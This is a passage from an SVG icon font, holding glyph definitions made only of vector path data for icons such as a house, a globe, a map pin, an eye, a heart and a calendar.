	c 7.742,0, 14,6.272, 14,14L 406,370 C 406,377.728, 399.742,384, 392,384z"  />
<glyph unicode="&#xe2c6;" d="M 403.634,117.734l-39.76,39.774L 363.874-50 c0-7.742-6.244-14-13.986-14l-41.958,0 l0,0l-13.986,0 
	c-7.742,0-13.986,6.258-13.986,14l0,27.986 l0,13.986 l0,41.986 l0,83.958 c0,7.742-6.258,14-14,14l-83.93,0 c-7.728,0-13.986-6.258-13.986-14l0-83.958 l0-55.972 l0-14 
	L 168.042-50 c0-7.742-6.272-14-13.986-14l-14,0 l0,0L 98.112-64 c-7.728,0-14,6.258-14,14L 84.112,157.508 l-39.76-39.774L0,162.114L 221.788,384L 224,381.788L 226.212,384
	l 109.69-109.746L 335.902,355.818 l 55.958,0 l0-137.55 L 448,162.114L 403.634,117.734z"  />
<glyph unicode="&#xe2c7;" d="M 224-64C 100.296-64,0,36.296,0,160C0,283.704, 100.296,384, 224,384c 123.704,0, 224-100.296, 224-224
	C 448,36.296, 347.704-64, 224-64z M 405.552,178.774c 0.364,0.182, 0.56,0.49, 0.7,0.98c 0.294-1.554, 1.008-2.926, 2.156-3.934
	c 0.028-0.14-0.042-0.112, 0.028-0.308c 0.112,0, 0.196,0.084, 0.294,0.084C 409.906,174.644, 411.362,174, 413,174c 2.52,0, 4.62,1.4, 5.852,3.374
	c 0.084-0.098, 0.224-0.224, 0.294-0.336c-0.014,0.224-0.042,0.448-0.070,0.672C 419.622,178.704, 420,179.796, 420,181
	c0,3.864-3.15,7-7,7c-2.464,0-4.508-1.344-5.768-3.248c-0.056,0.042,0,0.21-0.154,0.154
	c 0.182,0.532-0.308,1.89-1.078,3.346L 406,181 C 406,180.202, 405.776,179.488, 405.552,178.774z M 83.888,180.874c0,2.114-4.816,5.712-6.062,5.712
	c0,0.378-1.96,4.69-2.702,4.69c0,1.456-5.11,7.994-5.922,5.138c-0.532-1.848, 3.906-4.34, 3.906-6.482
	c 0.826,0, 4.298-6.58, 4.984-7.728c 7.588-12.824-5.67-4.060-5.67,1.372c-1.694,0.84-4.368,7.294-4.368,9.058
	c-0.994,0.798-3.934,7.028-3.696,7.028c0,4.088-2.254,6.048-6.734,6.048c-0.21,0.406-3.976,5.698-4.046,5.698
	c0,1.68-3.024,6.888-4.704,7.714c0,3.486-1.792,7.784-0.994,11.396c0,3.794-0.196,8.092-1.484,11.984C 34.706,217.4, 28,189.512, 28,160
	c0-84.574, 53.676-156.436, 128.744-183.918c 0.084,6.944, 0.602,15.26, 2.184,15.26c0,1.036, 0.882,5.376, 1.68,5.376c0,2.66, 0.322,5.866,0,9.058
	c-0.994,2.002, 1.316,4.564, 2.016,7.714c 3.878,1.946, 1.134,21.462, 4.060,21.462c0,9.758, 2.184,15.442, 0.658,24.486
	c 0.742,0-4.41,5.474-4.368,5.376c-4.942,0-8.4,7.924-8.4,11.396c-0.476,1.526-1.694,3.808-1.694,5.698
	c 1.134,0-7.070,11.984-7.070,11.746c-4.34,2.408, 0.238,5.768, 0.672,9.716c-3.766,1.246, 0.042,11.41, 1.68,11.41
	c 0.168,1.288, 0.84,2.17, 2.030,2.674c 0.84-3.346, 4.746,1.666, 1.68,1.666c0,2.212-0.252,6.944,0,8.050
	c0,3.416-3.024,10.108-5.376,3.024c-2.52,1.246-8.876,1.022-9.422,5.026c 0.392,1.974-3.626,6.006-5.040,6.706
	c 1.316,3.444-6.818,8.050-9.758,8.050c0,0.742-1.554,0.406-2.016,1.344c-2.996,0-3.682,4.032-7.070,4.032
	c-3.906,0-7.84,2.674-11.438,2.674c-1.204,2.394-6.79,1.456-8.078,4.032c-2.926,0-4.074,5.544-4.158,7.588
	C 89.39,172.166, 87.388,180.874, 83.888,180.874z M 367.472,293.224C 367.444,293.14, 367.5,293.196, 367.36,292.916c 0.21,0, 0.462-0.238, 0.7-0.336
	C 367.85,292.79, 367.668,293, 367.472,293.224z M 371.686,288.59c 0.49-0.952, 0.854-1.834, 0.742-2.38c 0.49-0.014, 0.728,0.252, 1.12,0.35
	C 372.946,287.246, 372.288,287.89, 371.686,288.59z M 383.852,224.806c 0.224,6.048-5.040,5.040-6.706,8.4c-1.736,0-2.366,1.344-4.718,1.344
	c-1.526,0.518-2.73,0.154-3.612-1.092c-3.598-1.372-1.428,1.75-4.13,1.75c 0.126,3.458-1.246,4.41-5.054,4.032
	c-2.184-4.928-5.544-7.882-5.040-13.426c 1.61-0.364, 1.33-0.728, 1.008-2.338c 2.142-0.112, 15.134,0.672, 15.134,2.016
	c 0.448,0, 2.702-4.634, 2.702-0.672c 1.806,0, 2.758-4.242, 7.070-3.010C 380.506,220.942, 387.702,224.806, 383.852,224.806z M 384.538,153.364
	c 0.252,1.232-0.616,1.778-1.344,3.024c 1.918,0-6.062,14.798-6.062,17.108c-1.218,0.602-2.772,4.83-3.052,6.37
	c-1.638,1.092-3.332,4.676-4.032,6.706c-1.666,1.106-5.726,6.062-6.384,8.386c 2.408-0.266, 6.048-0.756, 6.048,2.352
	c-1.624,0-1.862,2.002-0.322,2.002c-0.504,2.058, 1.092,3.542, 1.442,5.152c 0.42,1.946, 1.246,4.942, 1.246,7.266
	c-2.31,0-2.87-0.392-4.704-1.008c0-1.358-4.102,0.336-4.704,0.336c-0.882,1.764-7.28-2.296-9.072,1.344
	c-2.898,2.618-2.114,4.634-3.052,8.33c-0.476,1.876-3.038,1.988-4.592,2.296c-4.382,0.854-1.218-5.222-1.456-6.608
	c 2.688,0-1.694-3.332-1.694-5.026c-4.536,0.98-3.024,6.034-5.698,7.378c-0.798,1.344-0.168,2.352-2.030,2.352
	c0,1.792, 0.952,5.040-1.008,5.698c0,0.868-3.808,1.218-4.368,2.352c-2.408,0-8.008,9.1-9.73,6.034
	c-1.078-1.96, 0.91-2.436, 1.316-4.032c 3.486,0.686, 3.15-5.74, 7.406-5.026c0-0.896, 0.112-1.806, 0.322-2.688
	c 3.15,0.742, 2.786-2.338, 4.368-2.338c-1.148-1.526-4.788,2.436-3.794-0.896c 0.574-1.932, 0.252-3.584-2.254-5.474
	c0,2.086-0.168,7.714-2.352,7.714c-1.484,2.968-5.894,2.254-7.756,5.026c-1.512,0-2.1,4.704-4.704,5.026
	c-0.49-0.686-2.324-1.344-3.038-1.344c-1.414-2.842-9.408-0.294-9.408-0.672c-0.126-0.028-4.48-10.668-4.732-12.068
	c-0.49-3.010-2.912-3.066-3.64-5.922c-0.364-1.428-9.142-0.756-9.142-1.806c-3.794,1.26-7.070,3.92-7.070,8.050
	c-0.308,0, 0.714,10.542, 1.358,12.082c 0.77-0.21, 0.924-0.476, 1.358-1.344c 2.324,0.868, 7.742-0.574, 7.742,2.016
	c 2.254-0.056, 2.926-0.952, 2.016-2.688c 2.1-0.392, 5.726-0.924, 5.726,2.016c-1.232,0-1.358,0.112-1.358,1.344
	c 4.032,4.186-3.024,7.966-3.024,10.052c-1.428,0.476-4.34,3.57-2.268,2.408c 1.75-0.966, 8.148-2.968, 5.628,1.288
	c 0.168,0.056, 0.28,0.168, 0.322,0.322c 0.714-0.504, 3.724-3.598, 3.724-0.672c 0.826,0, 4.018,2.016, 1.344,2.016
	c 0.252,1.512, 0.196,2.772, 0.322,3.696c 4.27-2.296, 1.89,1.568, 4.046,3.010c0-2.786, 2.296,1.344, 3.696,1.344
	c 1.666,2.478, 5.474,0.56, 6.398,3.36c-2.058,0.672-1.68,5.824-1.68,7.7c 2.478-0.406, 5.236,3.346, 5.614,0.77
	c 0.14-0.994, 0.266-3.738, 0.77-4.116c 3.682-1.932, 2.702,1.106, 2.702,3.010c-1.232,0-2.87,4.312-3.038,6.384
	c-1.008-0.14-2.632-0.56-3.038-1.33c-3.668,0-6.16,1.33-9.072,1.33c-0.224,0.448-3.724,4.368-3.36,4.368
	c-2.044,3.514, 2.044,2.492, 2.688,2.66c0,3.332, 13.874,2.744, 14.476,8.064c-4.564,0, 4.704,7.728, 4.704,7.7
	c 3.094,2.646, 4.732,4.928, 8.582,5.222c 1.624,0.112, 19.684,5.096, 19.684,2.842c 0.728-0.028, 3.136-0.056, 5.628-0.14
	C 322.224,335.98, 275.506,356, 224,356c-49.882,0-95.284-18.788-129.878-49.49c 0.308-0.7, 0.546-1.372, 0.532-1.848
	C 96.488,304.788, 99.12,305.964, 99.708,303.64C 98.798,303.654, 97.888,303.766, 97.020,303.99c 0.644-5.194-2.268-2.016-4.704-2.016
	c0,0.126-1.078,0.56-2.226,0.868c-0.742-0.7-1.526-1.358-2.268-2.058C 87.906,300.56, 87.78,300.546, 87.92,300.294
	c 0.784,0, 0.378-1.218, 2.618-1.96C 93.128,297.452, 95.97,296.962, 98.7,296.528c 2.212-0.35, 3.486,0.406, 5.376,0.406
	c0,0.28, 4.62,2.338, 1.358,2.338c 0.448,1.848-0.378,2.31-2.366,2.338c 0.168,1.96, 4.83,0.672, 6.734,0.672
	c 1.456,2.45, 0.042,2.156, 1.33,4.382c 1.54,2.73, 3.374,0.364, 4.382,2.982C 117.040,309.086, 118.398,308.26, 118.888,306.328
	C 120.106,305.32, 126.294,296.192, 126.294,302.646C 128.506,301.904, 129.612,297.76, 129.654,295.59c 4.018,0.588, 4.368,3.598, 4.368,6.72
	c 0.924,0-0.336,1.498-0.336,2.016C 135.184,304.872, 137.060,302.898, 137.060,304.984c 0.644,0, 0.672-0.644, 0.672-1.344
	c 2.086-0.406, 3.43,0.238, 4.704-0.21c 0.882-0.308, 0.434-4.886, 0.028-6.496c-0.504-2.044-4.41-2.072-4.41-3.024
	c-4.424-3.304, 5.222-5.026, 6.734-7.042c-0.91,0-4.368,0.448-4.368,0.658c-2.184,0-7.476-2.31-9.422-0.658
	c 2.716,0, 3.626,3.262, 4.046,6.37c-2.506,0.938-5.46-0.602-6.16-3.094C 127.708,286.028, 124.978,290.312, 123.606,287.54
	C 123.074,287.372, 118.216,285.118, 118.216,285.874c-5.46-0.77-4.032-5.404-4.032-10.402C 116.354,274.17, 120.764,270.46, 120.568,268.43
	C 125.468,267.562, 127.26,267.044, 131.67,266.414c 0.364-0.714, 1.82-1.386, 2.702-1.666c0-2.884, 2.618-2.366, 5.040-2.366
	c0,3.682, 4.284-3.066, 4.704-4.354c-0.588,0, 1.008-3.766, 1.344-5.040c-0.672,0.238-0.882,0-0.672-0.672
	c 2.128-0.784, 5.502-0.56, 6.062,1.68c-2.044,0-1.358,2.338-1.358,3.696c-2.1,1.4-1.778,4.102, 0.336,4.69
	c0-1.904, 6.93,1.19, 3.024,2.674c 0.952,2.142, 1.596,5.432, 0.042,7.294c-0.994,1.176-2.24,0-2.73,1.764
	c 2.646,0.658, 0.7,5.698, 0.672,8.050c 0.84,0.322, 3.024-0.532, 3.024,0c 2.59,0, 6.902-3.276, 8.414,0.686
	c 4.326-1.974, 0.882-3.85, 5.39-2.352c0-1.064, 5.082-6.034, 5.726-6.034c0-0.238-0.126-1.68, 0.994-1.68
	c0-1.078-0.672,0.616-0.672-1.33c 0.63-0.070, 4.046-0.686, 4.046,0.658c 2.17,0, 3.696,2.66, 3.696,4.69
	c 1.358,0.882, 3.738-7.378, 5.376-7.378c 1.204-1.876, 5.054-4.606, 5.054-6.37c 0.812-0.826, 1.666-0.602, 1.666-3.024
	c 1.022,0, 3.038,4.018, 3.038,0.336c 0.952,0, 3.724-2.044, 4.046-3.682c-2.422,0-0.126-2.352-1.372-2.352
	c0-2.324-5.194-0.476-6.37-0.336c-1.61-7.21-11.326-2.030-17.206-3.892c-3.094-0.98-9.072-7.798-9.394-11.2
	c 3.752-0.042, 5.404,3.248, 8.75,4.368c 2.73,0, 3.262,1.652, 5.726,2.338c0-0.686, 0.672-0.322, 0.672-1.008
	c-4.788,0-1.876-3.094-0.476-5.348c 0.868-1.4, 1.862-2.072, 2.968-2.506c-0.462-0.812-0.84-1.624-1.134-2.534
	c0-0.014-0.014,0-0.014-0.014c-0.91-0.308-2.688-0.966-3.038-1.68c-5.418-0.602-2.744-0.238-2.38,1.064
	c 0.196-0.462, 2.142-0.042, 2.058-0.056c-0.322,1.624-0.812,1.4-0.336,2.338c-2.94,0-4.368-1.344-6.734-1.344
	c-0.392-0.798-2.45-2.688-3.36-2.688c-0.686-2.072-2.24-5.838-4.046-7.042c0,0.546-4.788-3.010-4.368-3.010
	c-1.064-1.722-2.226-1.666-2.702-4.354c-0.322-0.168-1.68-4.662-1.68-5.362c-2.086-1.386-2.856-7.042-6.398-7.042
	c-2.17-4.312-6.062-3.738-6.062-9.394c 1.316-1.344, 1.82-7.294, 2.226-9.198c 0.504-2.366, 1.288-4.83-1.876-4.886
	c-0.224,0.35-2.436,3.696-2.030,3.696c0,1.386-1.694,5.824-2.688,7.21c-1.33,1.862-3.794-0.294-5.726,0.518
	c-0.826,1.652-6.412,2.016-8.4,2.016c 0.322-1.246, 1.232-1.638, 1.344-3.024c-1.652-0.672-2.604-1.428-4.312-1.19
	c-2.926,0.406-2.576,2.688-5.796,2.366c-5.152-0.518-8.75-4.788-8.75-9.898c-0.574,0-0.574-10.066,0-10.066
	c0-2.842, 2.352-4.9, 2.352-7.042c 2.282,0, 4.844-5.026, 7.070-5.026c 0.252-1.778-1.12-2.058, 2.688-2.030
	c0,0.196, 2.072,1.302, 2.352,2.688c-2.632,0.644-0.014,4.032, 1.68,4.69c0-2.394, 3.36,0.798, 3.36,1.008
	c 0.378,0.154, 3.71,1.344, 3.71,1.344c0,2.716, 2.534-0.266, 0.672-1.344c-1.82,0-1.68-3.024-2.688-3.024
	c-0.434-2.156-1.288-4.032-1.792-6.132c-0.644-2.59, 1.456-2.856, 0.784-5.278c 2.674-0.504, 5.376-0.014, 8.078,0
	c 0.014,0.476-0.084,0.938-0.336,1.344c 3.906,0, 0.336-7.378, 2.702-7.378c0-2.786, 1.344-4.956, 1.344-6.706
	c 1.82-1.204, 2.912-2.814, 2.352-5.026c 2.24-0.294, 7.056-0.868, 7.056,2.016c 3.402,0, 3.64-2.31, 3.388-4.69
	c 6.776,0, 2.534,6.706, 5.362,6.706c 0.266,1.106, 0.728,1.302, 1.386,0.574c 1.386-0.742, 2.436,1.386, 3.542,2.058
	c 0.35,0.238, 1.582,0.952, 1.806,0.952c 0.952-0.574, 1.036-0.406, 1.456-1.050c 1.848,0.014, 3.71,1.050, 5.292,2.142
	c 2.422-0.294, 1.638-5.502, 6.174-5.824c 1.82-0.126, 6.034-0.63, 7.602,0.448c 0.392,0.266, 1.834-0.91, 1.988-1.414
	c 1.512,0, 1.4-1.316, 2.044-1.288c 0.154-0.294, 0.378-0.406, 0.686-0.322c 0.196-0.574, 1.4-0.742, 2.030-2.338
	c0-1.456, 3.024-1.708, 3.024-2.674c 2.17-1.092-0.742-1.386, 2.59-2.394c 1.834-0.574, 3.528-1.498, 5.502-1.638
	c 0.63,2.394, 2.674-0.322, 3.71-0.322c 0.532-1.092, 0.812-0.266, 1.33-1.344c 3.122-2.604, 1.064-1.596, 2.352-4.368
	c 1.498-0.98, 1.974-4.396, 2.38-6.37c-1.204,0-0.35-4.606-0.35-5.040c-1.456,0, 3.724-2.758, 3.724,0.686
	c 2.128-0.35, 3.528-2.674, 5.040-2.674c-0.882-2.030, 2.352-3.556, 2.352-0.35c 3.192-0.322, 2.338-5.082, 2.030-6.706
	c 2.366,0, 3.052,1.316, 5.068,1.568C 232.806,102.992, 235.242,104, 238,104c 7.742,0, 14-6.258, 14-14c0-6.972-5.194-12.502-11.872-13.566
	c-0.896-1.022-1.708-1.904-1.764-1.904c0-0.672-0.154-7.364-0.35-7.364c0-1.344-1.022-8.722-2.016-8.722
	c0-3.794-2.478-4.48-3.36-8.050c-2.044-1.512-7.574-4.032-8.428-5.698c-1.582,0-2.758-1.344-4.368-1.344
	c-0.224-0.462-3.654-3.696-3.038-3.696c-0.252-2.38, 0.182-7.98-1.106-9.548c-0.868-1.036-2.114-0.924-1.568-2.548
	c-1.89,0, 0.112-1.344-2.87-1.344c-1.876,0-5.222-2.674-5.32-4.942c-0.126-2.772-0.868-4.774-3.248-6.468
	c0-0.952-4.368-1.232-4.368-3.696c 0.406,0,0-4.564,0-5.026c-1.302,0.042-4.494-1.26-5.040-2.338c-4.396,0-3.864-0.448-6.72-2.352
	c0-0.588-0.406-2.674-1.008-2.674c0-3.402-2.422-0.308-4.382-2.030c 0.77,0, 1.75-3.346, 1.344-3.346
	c0-2.954-1.834-3.206-3.696-5.376c-0.882-0.588-1.722-3.024-2.352-3.024c0-1.988-0.994-3.794-0.994-5.698
	c 0.42,0, 0.028-0.854, 0.322-1.652c 0.938,0.266, 0.966,1.33, 1.344,1.33c0,1.68, 2.674-0.994, 1.008-0.994
	c-1.386-2.1-2.884-2.142-3.71-5.040c-0.84,0-1.568-0.812-2.184-1.764C 188.748-33.368, 206.052-36, 224-36
	c 68.936,0, 129.444,35.672, 164.388,89.502c 0.21,4.956, 0.98,9.688, 1.526,11.326c 1.372-1.008, 2.394-2.898, 3.36,0
	c-2.422,0.476-1.834,1.316-1.008,3.346c 0.924-0.56, 2.786-1.246, 4.298-1.148c 0.462,0.868, 0.826,1.792, 1.288,2.66
	c-1.372,1.064, 0.518,3.822, 1.176,2.478c 0.35,0.672, 0.658,1.372, 0.98,2.044c-0.154,0.042-0.112-0.056-0.336,0.014
	c0,1.218, 0.224,1.064, 1.022,1.68c 0.014-0.126,0-0.126, 0.028-0.238C 412.944,101.242, 420,129.76, 420,160c0,0.994-0.14,1.946-0.154,2.94
	c-0.364-1.372-1.050-2.856-2.016-3.192c0-0.882-10.010-5.236-9.408-7.042c-1.764,0-7.952-1.764-9.086-4.018
	c-1.246,0-6.272-1.778-6.734-2.688C 386.358,145.986, 387.548,153.364, 384.538,153.364z M 413,230l-7.434,0 
	c-0.056,0.070-0.112,0.084-0.168,0.182c-0.378,0-1.96,3.556-1.344,4.368c 0.602,0, 0.882-0.056, 1.204-0.084
	c-0.63,1.54-1.316,3.052-2.002,4.578c-1.512-1.036-2.842-2.352-4.928-2.478c0-0.574-2.982-6.37,0-6.37
	c0-0.112, 0.056-0.196, 0.084-0.294C 394.842,229.566, 392,226.654, 392,223c0-3.864, 3.136-7, 7-7l 2.758,0 
	c 0.168-1.274, 0.854-2.38, 3.304-2.926c 0.77-3.234, 6.538-4.382, 7.406-0.994c-2.436,0-1.638,2.338-1.428,3.92L 413,216 
	c 3.85,0, 7,3.136, 7,7C 420,226.864, 416.85,230, 413,230z M 392.602,138.972c 0.49-0.028, 3.724,0.056, 3.724,0.63
	c 2.926,0, 6.888,0.406, 9.758,1.358c0-4.34-3.654-6.762-3.038-11.074c-2.422,0-1.358-2.492-1.358-3.346
	c-1.568-0.966-1.806-2.73-3.696-3.696c0-1.946-4.368-5.166-5.656-6.832c-1.456-1.862-5.838-5.096-6.412-7.462
	c 0.154,0.56-8.008-8.498-6.104-8.498c0-1.694-2.296-15.092, 0.672-15.092c0-1.176, 2.534-12.418, 0.994-12.418
	c0-3.612-2.352-5.824-2.352-8.708c-1.148-0.784-2.786-1.218-3.36-2.366c-2.058,0-3.052-4.368-4.032-4.368
	c0-4.662-1.358-8.12-1.358-13.412c 0.378,0-2.688-7.546-2.688-8.036c-2.478-1.666-8.75-7.644-8.75-10.752c0,0-4.368-6.132-5.040-7.042
	c-1.316,0-11.452-1.904-11.452-2.688c-2.156,0-7.728-1.694-9.072,0.336c0,2.128-1.162,4.83-1.344,7.728
	c-1.036,0-1.204,4.354-2.352,4.354c0,0.924-6.426,13.762-5.39,13.762c0,1.33-1.148,5.698-1.344,5.698c0,4.62-3.374,8.47-3.374,12.74
	c-0.994,0-3.052,9.38-2.016,9.38c0,4.928, 1.722,8.148, 2.436,13.622c 0.798,6.006-0.378,9.66-1.428,13.902
	c-0.574,0-2.506,3.206-2.702,4.018c-2.702,1.792-3.696,5.348-3.696,8.708c 1.764,2.016, 2.464,9.59, 2.030,12.082
	c-3.402,1.61-4.76,1.008-8.428,1.008c-2.17,4.354-16.744,1.666-20.874,1.666c0-2.38-10.15,0.462-11.102,2.352
	c-2.478,0-7.392,5.264-7.392,7.714c-2.716,1.806-7.056,10.794-7.056,13.748c-2.352,1.176-1.638,5.712-0.35,5.712
	c 0.322,1.26-0.826,5.236-1.372,7.126c-0.406,1.414, 1.372,2.94, 1.372,4.62c0,4.676, 0.112,6.832, 2.73,11.83
	c 0.826,1.568, 1.876,3.038, 2.646,4.998c 1.4,3.514, 1.82,0.168, 3.71,3.304c 1.806,0.896, 2.856,3.892, 4.718,5.362
	c 0.812,1.078, 0.84,1.526,0,2.352c 0.364,0, 2.352,5.166, 2.352,6.356c 2.632,3.654, 0.77,1.988, 3.36,1.68
	c 0.952,1.036, 2.534,3.696, 4.032,3.696c 0.658,1.302, 2.31,2.016, 3.71,2.016c0-2.016, 5.488,0.658, 6.062,0.658
	c 0.938,1.89, 6.986,4.032, 8.414,4.032c0,2.296, 11.928-0.644, 13.804-0.336c0,0.336,0,0.672,0,1.008c 2.548-0.602, 7.196-10.822, 6.72-13.090
	c 1.96,0, 3.78,0.322, 5.054,0c0-2.17, 4.088-2.702, 5.95-2.8c 2.59-0.126, 10.192,0.266, 10.192,3.808c 2.002,0, 3.78-1.4, 3.388-3.682
	c 2.268-0.252, 15.75-0.518, 14.798-3.346c 1.974,0, 2.478-3.374, 4.368-3.374c-0.378-2.324, 2.352-8.386, 4.368-8.386
	c0-2.016, 1.26-5.726, 3.038-7.028c 0.952-2.884, 4.102-8.96, 7.056-10.738c-1.26-2.38, 1.918-4.34, 2.702-6.706
	c-0.182,0, 0.686-3.514, 1.666-4.032c0-2.38, 5.012-12.082, 7.756-12.082C 391.776,139.77, 389.018,139.238, 392.602,138.972z M 319.928,214.082
	c 0.518,2.002, 1.694,0.448, 2.786,0.084c 2.59-0.84, 1.694,0.042, 3.612,0.91C 326.326,209.616, 323.19,213.76, 319.928,214.082z
	 M 312.844,224.148c 1.372,0, 1.75-6.16-2.016-5.026c0,1.526-0.966,4.354, 1.022,4.354C 312.424,221.096, 312.844,222.062, 312.844,224.148z
	 M 311.178,228.166c 1.554-0.672, 2.24-0.448, 2.016,0.672c 2.044-0.672-0.266-2.128-0.672-3.696
	C 311.472,226.178, 311.794,226.542, 311.178,228.166z M 275.156,258.028c-3.304,0.854, 3.402,1.834, 3.696,2.674c-1.12,0-1.89,1.162-1.456,2.142
	c 0.504,1.162, 1.33-1.386, 2.478-0.812c 1.358,0.14, 4.032,2.17, 2.66-1.75c-1.4-3.976-2.674-6.888-7.714-6.958
	C 273.014,255.144, 274.75,256.096, 275.156,258.028z M 287.616,271.776c 2.716,0, 0.336-2.016-0.266-2.016c 0.462-0.182-0.084-1.806-0.084-2.338
	c 2.52,0.028, 2.562,1.568, 4.368,2.016c-0.378-2.254-2.898-2.688-0.434-4.62c 1.302-1.022, 2.632-2.226, 2.114-3.78
	c 3.206,0, 3.682-3.080, 3.024-6.706c 1.778,0, 1.694-0.084, 1.694,1.694c 1.722-0.476, 1.596-2.030,0-2.030
	c-1.596-3.15-5.782-3.010-8.75-3.010c-0.028,2.436-0.49,2.59-2.744,1.904c-3.080-0.938-0.672,2.45-0.616,4.13
	c 0.336,0, 6.986-0.308, 3.024,1.008c-0.21,3.612-1.022,4.69-4.368,4.69c0,2.464-0.868,2.282-1.274,4.984
	C 282.73,271.692, 286.426,267.422, 287.616,271.776z M 286.594,249.978c0-0.826-1.68-1.484-2.016-0.322c 0.322-0.112, 0.448,0, 0.322,0.322
	C 285.474,249.978, 286.048,249.978, 286.594,249.978z M 259,286l-14,0 C 241.136,286, 238,289.136, 238,293C 238,296.864, 241.136,300, 245,300l 14,0 
	C 262.864,300, 266,296.864, 266,293C 266,289.136, 262.864,286, 259,286z M 177.436,162.1c 0.784,0, 1.694-0.308, 1.694-1.008
	C 178.108,161.092, 176.792,160.126, 177.436,162.1z M 164.668,161.414c-0.56-1.064-5.096-0.882-5.726,0.35c 1.68,0, 2.982-0.686, 4.704,0
	c0,0.924-0.77,1.666-1.344,2.674c 1.834,0, 3.892-1.4, 6.398-1.344c0,1.554-0.686-0.336,0,1.68c 1.050-0.266, 3.584-2.674, 3.696-3.682
	C 168.714,161.484, 168.546,161.414, 164.668,161.414z M 149.856,169.464c-1.722,0-5.040,1.498-6.062,3.024c 1.666-0.070, 3.318-0.756, 4.368,1.008
	c 4.27-0.434, 4.648-3.374, 8.078-3.374c 0.644-1.134, 4.312-3.738, 0.77-4.074C 154.336,165.796, 150.976,167.252, 149.856,169.464z
	 M 152.544,160.070c-1.246,0-3.304-0.546-2.352,2.030C 151.844,161.876, 152.628,161.19, 152.544,160.070z M 154.896,160.406
	c-0.672-0.112-1.344-0.224-2.016-0.336C 153.076,161.624, 154.546,163.36, 154.896,160.406z M 167.342,145.664
	c-0.266-0.938-0.224-0.994-1.33-0.994c 0.112,0.434, 0.21,0.868, 0.322,1.33C 166.684,145.888, 167.006,145.776, 167.342,145.664z
	 M 137.060,173.496c 0.322-0.112, 0.672-0.238, 1.008-0.336c 0.434-1.666, 1.344-0.84, 2.352-0.336C 140.42,170.878, 135.912,170.318, 137.060,173.496z"  />
<glyph unicode="&#xe2c8;" d="M 223.132-64C 223.132-64, 84,132.868, 84,216.868C 84,382.25, 223.132,384, 223.132,384
	S 364,382.25, 364,217.75C 364,131.132, 223.132-64, 223.132-64z M 224,300c-30.926,0-56-25.074-56-56s 25.074-56, 56-56s 56,25.074, 56,56S 254.926,300, 224,300z"  />
<glyph unicode="&#xe2c9;" d="M 224,384C 100.282,384,0,283.704,0,160c0-123.704, 100.282-224, 224-224s 224,100.296, 224,224
	C 448,283.704, 347.718,384, 224,384z M 224,300c 15.456,0, 28-12.544, 28-28s-12.544-28-28-28s-28,12.544-28,28S 208.544,300, 224,300z M 154,48l 42,28l 28,0 l0,112 l-28,0 l-14,28l 70,0 l0-28 l0-112 l 28,0 l 42-28
	L 154,48 z"  />
<glyph unicode="&#xe2ca;" d="M 224,300C 100.282,300,0,160,0,160s 100.282-140, 224-140s 224,140, 224,140S 347.718,300, 224,300z M 224,76
			c-46.382,0-84,37.618-84,84s 37.618,84, 84,84s 84-37.618, 84-84S 270.382,76, 224,76z M 224,216c-30.926,0-56-25.074-56-56s 25.074-56, 56-56s 56,25.074, 56,56
			S 254.926,216, 224,216z"  />
<glyph unicode="&#xe2cb;" d="M 322,356c-33.656,0-60.634-12.082-84.42-35.882c-0.014-0.014-0.028-0.028-0.042-0.042
	l-0.014,0L 224,303.038L 210.476,319.040c-0.014,0.014-0.028,0.028-0.042,0.042L 210.42,319.082 l0,0C 186.62,342.896, 159.656,356, 126,356S 60.704,342.896, 36.904,319.096
	C 13.118,295.296,0,263.656,0,230c0-33.628, 13.090-65.268, 36.862-89.054L 204.12-27.712C 209.37-33.018, 216.538-36, 224-36s 14.63,2.982, 19.88,8.288
	l 167.244,168.658C 434.896,164.732, 448,196.358, 448,230c0,33.656-13.118,65.296-36.904,89.096C 387.296,342.896, 355.656,356, 322,356L 322,356z"  />
<glyph unicode="&#xe2cc;" d="M 406-64L 112-64 L 112,384 l 140,0 l0-252 l 42,56l 28,0 l 42-56L 364,384 l 42,0 c 7.742,0, 14-6.272, 14-14l0-420 C 420-57.742, 413.742-64, 406-64
	z M 28-50L 28,370 c0,7.728, 6.258,14, 14,14l 42,0 l0-448 L 42-64 C 34.258-64, 28-57.742, 28-50z"  />
<glyph unicode="&#xe2cd;" d="M 349.748,247.948c 5.222-5.222, 13.692-5.222, 18.9,0l 73.962,58.226
	c 12.306-38.696, 3.612-82.628-27.090-113.33c-29.288-29.302-70.644-38.528-107.996-28.672l-87.724-87.724c 9.856-37.366, 0.616-78.708-28.658-107.996
	c-30.702-30.702-74.648-39.396-113.344-27.090l 58.254,73.948c 5.222,5.236, 5.222,13.692,0,18.914l-37.8,37.786c-5.222,5.222-13.692,5.222-18.9,0
	l-73.962-58.226c-12.306,38.696-3.612,82.614, 27.076,113.316c 29.302,29.302, 70.644,38.542, 108.010,28.672l 87.738,87.738
	c-9.87,37.352-0.63,78.708, 28.644,107.996c 30.702,30.702, 74.648,39.396, 113.358,27.104l-58.254-73.976c-5.208-5.208-5.208-13.678,0-18.886
	L 349.748,247.948z"  />
<glyph unicode="&#xe2ce;" d="M 168.672,146.546c-2.492-3.598-5.53-12.614-9.128-14.826c-3.598-2.198-7.658-3.738-12.166-4.592
	c-4.522-0.868-9.198-1.246-14.028-1.106l0-21.378 l 34.538,0 L 167.888,20 l 27.874,0 l0,139.944 l-22.176,0 C 172.802,154.61, 171.164,150.144, 168.672,146.546z M 322,272l 28,0 
	c 7.742,0, 14,6.272, 14,14L 364,370 c0,7.728-6.258,14-14,14l-28,0 c-7.742,0-14-6.272-14-14l0-84 C 308,278.272, 314.258,272, 322,272z M 98,272l 28,0 c 7.728,0, 14,6.272, 14,14L 140,370 
	c0,7.728-6.272,14-14,14L 98,384 C 90.272,384, 84,377.728, 84,370l0-84 C 84,278.272, 90.272,272, 98,272z M 420,328l-28,0 l0-70 c0-7.728-6.258-14-14-14l-84,0 c-7.742,0-14,6.272-14,14L 280,328 l-112,0 l0-70 
	c0-7.728-6.272-14-14-14L 70,244 c-7.728,0-14,6.272-14,14L 56,328 L 28,328 C 12.544,328,0,315.456,0,300l0-336 c0-15.456, 12.544-28, 28-28l 392,0 c 15.456,0, 28,12.544, 28,28L 448,300 
	C 448,315.456, 435.456,328, 420,328z M 420-22c0-7.742-6.258-14-14-14L 42-36 c-7.728,0-14,6.258-14,14L 28,202 c0,7.728, 6.272,14, 14,14l 364,0 c 7.742,0, 14-6.272, 14-14L 420-22 z
	 M 223.79,132.252l 69.552,0 c-13.104-16.128-23.646-32.55-31.71-51.87c-8.050-19.334-8.932-39.452-10.486-60.368l 29.834,0 
